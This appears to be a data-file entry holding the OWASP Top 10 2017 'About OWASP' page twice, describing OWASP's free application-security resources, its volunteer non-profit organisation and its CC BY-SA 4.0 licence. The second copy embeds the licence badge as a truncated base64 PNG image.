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0x01-about-owasp.md | ./Top10/2017/en/0x01-about-owasp.md | # O About OWASP
## About OWASP
The Open Web Application Security Project (OWASP) is an open community dedicated to enabling organizations to develop, purchase, and maintain applications and APIs that can be trusted.
At OWASP, you'll find free and open:
* Application security tools and standards.
* Complete books on application security testing, secure code development, and secure code review.
* Presentations and [videos](https://www.youtube.com/user/OWASPGLOBAL).
* [Cheat sheets](https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series) on many common topics.
* Standard security controls and libraries.
* [Local chapters worldwide](https://www.owasp.org/index.php/OWASP_Chapter).
* Cutting edge research.
* Extensive [conferences worldwide](https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference).
* [Mailing lists](https://lists.owasp.org/mailman/listinfo).
Learn more at: [https://www.owasp.org](https://www.owasp.org).
All OWASP tools, documents, videos, presentations, and chapters are free and open to anyone interested in improving application security.
We advocate approaching application security as a people, process, and technology problem, because the most effective approaches to application security require improvements in these areas.
OWASP is a new kind of organization. Our freedom from commercial pressures allows us to provide unbiased, practical, and cost-effective information about application security.
OWASP is not affiliated with any technology company, although we support the informed use of commercial security technology. OWASP produces many types of materials in a collaborative, transparent, and open way.
The OWASP Foundation is the non-profit entity that ensures the project's long-term success. Almost everyone associated with OWASP is a volunteer, including the OWASP board, chapter leaders, project leaders, and project members. We support innovative security research with grants and infrastructure.
Come join us!
## Copyright and License
![license](images/license.png)
Copyright © 2003-2017 The OWASP Foundation. This document is released under the Creative Commons Attribution Share-Alike 4.0 license. For any reuse or distribution, you must make it clear to others the license terms of this work.
| 2,269 | 0.002165 | # O About OWASP
## About OWASP
The Open Web Application Security Project (OWASP) is an open community dedicated to enabling organizations to develop, purchase, and maintain applications and APIs that can be trusted.
At OWASP, you'll find free and open:
* Application security tools and standards.
* Complete books on application security testing, secure code development, and secure code review.
* Presentations and [videos](https://www.youtube.com/user/OWASPGLOBAL).
* [Cheat sheets](https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series) on many common topics.
* Standard security controls and libraries.
* [Local chapters worldwide](https://www.owasp.org/index.php/OWASP_Chapter).
* Cutting edge research.
* Extensive [conferences worldwide](https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference).
* [Mailing lists](https://lists.owasp.org/mailman/listinfo).
Learn more at: [https://www.owasp.org](https://www.owasp.org).
All OWASP tools, documents, videos, presentations, and chapters are free and open to anyone interested in improving application security.
We advocate approaching application security as a people, process, and technology problem, because the most effective approaches to application security require improvements in these areas.
OWASP is a new kind of organization. Our freedom from commercial pressures allows us to provide unbiased, practical, and cost-effective information about application security.
OWASP is not affiliated with any technology company, although we support the informed use of commercial security technology. OWASP produces many types of materials in a collaborative, transparent, and open way.
The OWASP Foundation is the non-profit entity that ensures the project's long-term success. Almost everyone associated with OWASP is a volunteer, including the OWASP board, chapter leaders, project leaders, and project members. We support innovative security research with grants and infrastructure.
Come join us!
## Copyright and License
![license](data:image/png;base64,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